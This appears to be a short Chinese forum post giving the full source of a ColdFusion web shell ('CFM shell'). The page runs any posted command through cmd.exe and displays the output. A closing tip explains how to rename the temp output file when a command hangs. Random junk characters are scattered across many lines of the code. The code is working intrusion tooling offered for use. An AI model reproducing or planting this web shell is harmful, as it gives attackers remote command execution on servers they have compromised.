cfm的cmdshell使用注意

admin

cfm-cmdshell
2 o% A  O  R  d# [; F3 Z<html>   
  ^% \% I  w' w! s% e$ q# }<head>   
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">   
0 `& F4 |5 F3 o6 V<title>CFM shell</title>   
% G6 }1 q/ `- X</head>   
<body>   
* G$ y# Z- [# L6 d$ v; f) e+ Y$ C<!--- os.run --->   
! b& c! m( J; [3 i0 c<cfif IsDefined("FORM.cmd")>   
    <cfoutput>#cmd#</cfoutput>   
    <cfexecute name="C:\Winnt\System32\cmd.exe"   
           arguments="/c #cmd#"   
5 k" f* |9 c4 E- c4 i           outputfile="#GetTempDirectory()#foobar.txt"   
  A# t, L. ^) q$ l           timeout="1">   
    </cfexecute>   
5 t3 z. K7 Z3 ?% x# o* X; m</cfif>   
, |8 M$ T' p5 f) g<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">   
<input type=text size=45 name="cmd" >   
  Y- C  l( A# H; z. q, q  Z$ u<input type=Submit value="run">   
4 `3 P  u5 S( M5 Q</form>   
+ g6 }# X/ O/ E' J% e<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">   
  <cffile action="Read"   
* v. d$ x3 K; l, |1 n( }. P0 a  }/ H) r3 o            file="#GetTempDirectory()#foobar.txt"   
            variable="readText">   
<textarea readonly cols=80 rows=20>   
6 ~" P* M# v- f8 |<CFOUTPUT>#readText#</CFOUTPUT>            
</textarea>   
  q4 g% m; `: c    <cffile action="Delete"   
            file="#GetTempDirectory()#foobar.txt">   
7 w) ?5 x1 ^2 t7 `</cfif>   
* w+ x4 r9 d" a/ y4 g% x</body>   
0 @# }/ I2 ]- {+ D3 U& p</html>   
7 G! x2 w1 y7 e6 z' p% J
# y% J: `( f  u有时候会发现执行某次cmd后没有正常结束，造成后面不能执行命令。这时候只要修改下shell的foobar.txt名字，几处都改一下就可以了。想来是程序未正常退出，文件被占用，写不进去了。
/ S% h' M+ C* r- k/ Z( E